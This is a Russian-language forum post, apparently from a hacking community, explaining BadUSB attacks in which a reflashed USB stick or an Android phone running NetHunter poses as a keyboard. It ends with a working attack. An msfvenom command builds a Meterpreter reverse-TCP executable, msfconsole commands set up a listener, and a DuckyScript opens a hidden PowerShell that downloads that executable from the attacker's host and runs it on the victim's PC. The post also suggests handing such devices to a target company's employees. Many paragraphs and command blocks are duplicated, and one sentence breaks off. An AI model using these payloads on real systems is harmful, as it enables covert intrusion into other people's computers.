Общая информация.
Сегодня я расскажу Вам об одном интересном классе атак, который называется BadUSB. Известен он давно, с 2011 года точно, а то и ранее, но широкую огласку получил в основном в 2014-2015 годах. BadUSB пользуется тем, что не все производители защищают свои устройства от перепрошивки, а хосты не проверяют USB устройства на подлинность. От платформы реализации атака зависит мало. Благодаря этому мы можем подменить прошивку микроконтроллера и выдать одно устройство за другое. Классический пример - это когда флешка или другой девайс притворяется клавиатурой, при подключении открывает cmd и заливает Reverse Shell, причем все происходит за секунды. Так же флешка может притворяться сетевой картой, провести Boot Injection и теоритически заражать новые устройства.
Вообще полноценной уязвимостью все это дело назвать сложно, ведь были и будут всякие хитрые устройства, замаскированные под переходник для клавиатуры, зарядку для ноутбука, а на деле отправляющие данные пользователя в неизвестном направлении и т.д., или изделия от Hak5shop (USB Rubber Ducky, Bash Banny, и проч., справедливости ради отмечу, что это немного другой, более сложный подкласс атак - т.н. "Rubber Ducky", там можно использовать не только простенький скриптовый язык, но и классические мощные ЯП). Основное отличие BadUSB от этих штуковин в том, что мы берем железо, не предназначенное для шпионской деятельности, вроде обычной флешки и записываем в его контроллер вредоносный код, то есть все манипуляции происходят на уровне firmware, специальные девайсы не нужны.
В целях экспериментов имеет смысл использовать для реализации атаки купленные на ali девайсы, или любое Android-тело с установленным NetHunter (либо если есть оба устройства, использовать NetHunter для отладки кода, ведь процесс презаписи payload в контроллер флешки дольше, и может превратить ее в маленький кирпичик).
Простое применение данной атаки на практике, это когда Вы имеете такое устройство сзаранее заряженными в обойму командами cmd/shell, а время доступа к ПК, в течении которого Вас не заметят, пару десятков секунд, а то и меньше.
Допустим надо получить удаленный доступ к цели, а времени в обрез. Записали payload в NetHunter/флешку заранее, в нужное время подключили к ПК жертвы, нажали кнопку. Посложнее реализовать варианты "подарок" или "интересная находка" - они связаны с СИ.
Ищем подходящее устройство.
Подготовка устройства.
Пишем payload.
Простой пример.
P.S. Ввиду достаточного количества фото/видео материалов по данной теме(в основном на английском и др. иностранных языках) снимать свое видео/добавлять скриншоты не буду, все отлично гуглится. Кейсом занимаюсь лично сам, если есть вопросы пишите в личку/тему.
P.P.S. Тема достаточно объемная, поэтому уместить в 1 посте не получилось, как будет время запилю несколько примеров атаки.
Сегодня я расскажу Вам об одном интересном классе атак, который называется BadUSB. Известен он давно, с 2011 года точно, а то и ранее, но широкую огласку получил в основном в 2014-2015 годах. BadUSB пользуется тем, что не все производители защищают свои устройства от перепрошивки, а хосты не проверяют USB устройства на подлинность. От платформы реализации атака зависит мало. Благодаря этому мы можем подменить прошивку микроконтроллера и выдать одно устройство за другое. Классический пример - это когда флешка или другой девайс притворяется клавиатурой, при подключении открывает cmd и заливает Reverse Shell, причем все происходит за секунды. Так же флешка может притворяться сетевой картой, провести Boot Injection и теоритически заражать новые устройства.
Мануал предназначен для продвинутых пользователей, интересующихся мобильным пентестом и установкой кастомных прошивок. Это означает, что некоторые очевидные моменты я буду опускать. Cайты на которых есть подробности - 4pda, xda-developers, kali.org.
Ссылки в рамках данного мануала не являются рекламой.
Вообще полноценной уязвимостью все это дело назвать сложно, ведь были и будут всякие хитрые устройства, замаскированные под переходник для клавиатуры, зарядку для ноутбука, а на деле отправляющие данные пользователя в неизвестном направлении и т.д., или изделия от Hak5shop (USB Rubber Ducky, Bash Banny, и проч., справедливости ради отмечу, что это немного другой, более сложный подкласс атак - т.н. "Rubber Ducky", там можно использовать не только простенький скриптовый язык, но и классические мощные ЯП). Основное отличие BadUSB от этих штуковин в том, что мы берем железо, не предназначенное для шпионской деятельности, вроде обычной флешки и записываем в его контроллер вредоносный код, то есть все манипуляции происходят на уровне firmware, специальные девайсы не нужны.
Та же утка стоит около 50 баксов,
а еще надо заплатить http://shopotam.ru/brand/hak5/ за доставку (+ 15 баксов) и т.д. Имеем бюджет для покупки в 4000 - 4500 тыс. рублей за спец. устройство. Много. Потом, если нужно применить СИ и впарить эту флешку сотруднику целевой компании надеяться на ее возврат глупо. А это -4000 из Вашего бюджета. Кстати может и не сработать, так как выполнение кода сильно привязано к конкретному состоянию целевого ПК на момент заражения (раскладка клавиатуры не та, что-то подвисло, не успели встать драйвера, и все).
Значит, нужно искать что-то дешевле. Вот тут как раз мы смотрим в сторону тех производителей, которые не защитили свои девайсы от перезаписи прошивки (я например в 2014 нашел у себя флешку с Phison 2251-03 и на нее заливал payloads) или на aliexpress, ebay за 3 бакса купить (там таких устройств много).
Значит, нужно искать что-то дешевле. Вот тут как раз мы смотрим в сторону тех производителей, которые не защитили свои девайсы от перезаписи прошивки (я например в 2014 нашел у себя флешку с Phison 2251-03 и на нее заливал payloads) или на aliexpress, ebay за 3 бакса купить (там таких устройств много).
ЛК разработала модуль, нацеленный на авторизацию клавиатур в системе, но он доступен только в корпоративной версии, и широкое распространение не получил. Естественно можно просто блокировать порты от неавторизованных устройств и т.д., но это не удобно для большинства пользователей
(https://www.kaspersky.ru/blog/badusb-solved/12425/).
(https://www.kaspersky.ru/blog/badusb-solved/12425/).
В этой статье я приведу свой личный опыт, и не буду рассматривать всякую теоритическую хрень, вроде этой: "Некоторые вирусы изменяют встроенное программное обеспечение USB-устройств так, чтобы операционная система определяла USB-устройство как клавиатуру". Вирусы в рамках этой статьи мы писать не будем. Это все на уровне какой-нибудь Equation Group, которая промышляет APT-атаками на конкретный модели HDD, засирая их firmware шпионским ПО под завязку так, что потом только в помойку. Немного информации по теме - https://www.kaspersky.ru/blog/hardware-malware/7364/. Конечно я преувеличил, но все же такой бюджет есть только у гос. структур. Вряд ли среднестатистический пентестер способен написать такую малварь, которая модифицирует firmware некоторых контроллеров HDD/flash drive, а потом еще и заражает через ПК другие флешки, создает на них скрытые разделы, пишет туда конфиденциальные файлы, передавая их потом в сеть. Реализовать под конкретный ПК реально, были бы ресурсы, вопрос только в том, что пишется такая дичь в основном для целевой атаки, а значит на любом другом ПК может и не сработать.
В целях экспериментов имеет смысл использовать для реализации атаки купленные на ali девайсы, или любое Android-тело с установленным NetHunter (либо если есть оба устройства, использовать NetHunter для отладки кода, ведь процесс презаписи payload в контроллер флешки дольше, и может превратить ее в маленький кирпичик).
Простое применение данной атаки на практике, это когда Вы имеете такое устройство с
Допустим надо получить удаленный доступ к цели, а времени в обрез. Записали payload в NetHunter/флешку заранее, в нужное время подключили к ПК жертвы, нажали кнопку. Посложнее реализовать варианты "подарок" или "интересная находка" - они связаны с СИ.
Ищем подходящее устройство.
1. USB Rubber Ducky(https://hakshop.com/collections/usb-rubber-ducky/products/usb-rubber-ducky-deluxe)
2. платформа Arduino (https://geektimes.ru/post/294271/)
3. флешка с Phison 2251-03
4. Teenzy (https://habrahabr.ru/post/153571/)
5. какая-нибудь еще хрень с ali
6. Android с NetHunter на борту
2. платформа Arduino (https://geektimes.ru/post/294271/)
3. флешка с Phison 2251-03
5. какая-нибудь еще хрень с ali
6. Android с NetHunter на борту
Скажу сразу, что лично я использовал варианты №3 и 6 (они различаюся только аппаратной реализацией, по части payload разницы нету). Соответственно и расскажу подробнее про них. Еще один важный момент - параметры железа влияют на скорость обработки команд, перед покупкой спец. девайса ознакомьтесь с софтом для него (выложен в основном на github).
Подготовка устройства.
Тут зависит от выбранного варианта.
- В случае с флешкой нам нужно перейти по ссылке из 3 пункта, там автор все в мельчайших подробностях расписал, а под видео есть все нужные файлы, так что делать дубликат не буду.
- Во 2 случае все проще - NetHunter из коробки умеет проводить HID Attacks, DuckHunter HID, BadUSB MITM. Открываем NetHunter.apk, пишем код в окно со вкладкой DuckHunter HID (или выбираем из дефолтных вариантов для теста), соединяем девайс с ПК в режиме "зарядка через USB" и нажимаем кнопку. Добро пошло. Кстати присутствует поддержка нескольких раскладок клавиатуры, но я использую ту, которая по умолчанию. При желании можно подробно изучить возможности NetHunter в этом направлении.
- В случае с флешкой нам нужно перейти по ссылке из 3 пункта, там автор все в мельчайших подробностях расписал, а под видео есть все нужные файлы, так что делать дубликат не буду.
- Во 2 случае все проще - NetHunter из коробки умеет проводить HID Attacks, DuckHunter HID, BadUSB MITM. Открываем NetHunter.apk, пишем код в окно со вкладкой DuckHunter HID (или выбираем из дефолтных вариантов для теста), соединяем девайс с ПК в режиме "зарядка через USB" и нажимаем кнопку. Добро пошло. Кстати присутствует поддержка нескольких раскладок клавиатуры, но я использую ту, которая по умолчанию. При желании можно подробно изучить возможности NetHunter в этом направлении.
Пишем payload.
На этом сайте https://ducktoolkit.com/ есть генератор, а также готовые варианты полезной нагрузки. Так же для продвинутой работы с сабжем желательно уметь работать с PowerShell, cmd, и одним из популярных ЯП.
Синтаксис для скриптов есть в открытом доступе
Код зависит от вашей цели и навыков программирования (может быть использован в 2 основных направлениях - атака с зараженной флешкой + элементы СИ, и просто как быстродоступные скрипты для заражения ПК, к которому появился доступ)
По ссылке выше готовые скрипты могут неправильно работать, нужно исправить кое-какие ошибки в коде и адаптировать под целевую версию Windows.
Синтаксис для скриптов есть в открытом доступе
https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Duckyscript
https://codeby.net/forum/threads/rubber-ducky-znakomstvo-chast-i.60049/#post-281263
https://codeby.net/forum/threads/rubber-ducky-pervye-shagi-chast-ii.60082/
https://codeby.net/forum/threads/rubber-ducky-prodvinutye-ataki-chast-iii.60207/
https://codeby.net/forum/threads/rubber-ducky-znakomstvo-chast-i.60049/#post-281263
https://codeby.net/forum/threads/rubber-ducky-pervye-shagi-chast-ii.60082/
https://codeby.net/forum/threads/rubber-ducky-prodvinutye-ataki-chast-iii.60207/
Простой пример.
В качестве примера я рассмотрю простой вариант с Reverse Shell, последнее время он может детектироваться AV, и нуждается в модификации, так что будет рассмотрен в учебных целях. Способ, который я покажу, с некоторой корректировкой можно применить и для обратной связи из WWW, как на схеме ниже.
Для доставики кода на целевой ПК используем нашу флешку/смартфон
Затем заливаем код на наше устройство, отлаживаем (играем с Delay, 1000, 1500 миллисекунд и т.д.) и доставляем на ПК жертве.
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=(юзаем ifconfig) PORT=4444 -f exe > shell.exe
идем в /var/www/html и копируем shell.exe в эту папку
# msfconsole
# use/exploit/multi/handler
# set payload windows/meterpreter/reverse_tcp
# set LHOST (ваше значение)
# set LPORT 4444
# set ExitOnSession false
# exploit -j -z
идем в /var/www/html и копируем shell.exe в эту папку
# msfconsole
# use/exploit/multi/handler
# set payload windows/meterpreter/reverse_tcp
# set LHOST (ваше значение)
# set LPORT 4444
# set ExitOnSession false
# exploit -j -z
DELAY 2000
GUI r
DELAY 1000
STRING powershell -windowstyle hidden (new-object System.Net.WebClient).DownloadFile('http://192.168.1.45/shell.exe','%TEMP%\shell.exe'); Start-Process "%TEMP%\shell.exe"
DELAY 1500
ENTER
GUI r
DELAY 1000
STRING powershell -windowstyle hidden (new-object System.Net.WebClient).DownloadFile('http://192.168.1.45/shell.exe','%TEMP%\shell.exe'); Start-Process "%TEMP%\shell.exe"
DELAY 1500
ENTER
P.S. Ввиду достаточного количества фото/видео материалов по данной теме(в основном на английском и др. иностранных языках) снимать свое видео/добавлять скриншоты не буду, все отлично гуглится. Кейсом занимаюсь лично сам, если есть вопросы пишите в личку/тему.
P.P.S. Тема достаточно объемная, поэтому уместить в 1 посте не получилось, как будет время запилю несколько примеров атаки.
Последнее редактирование: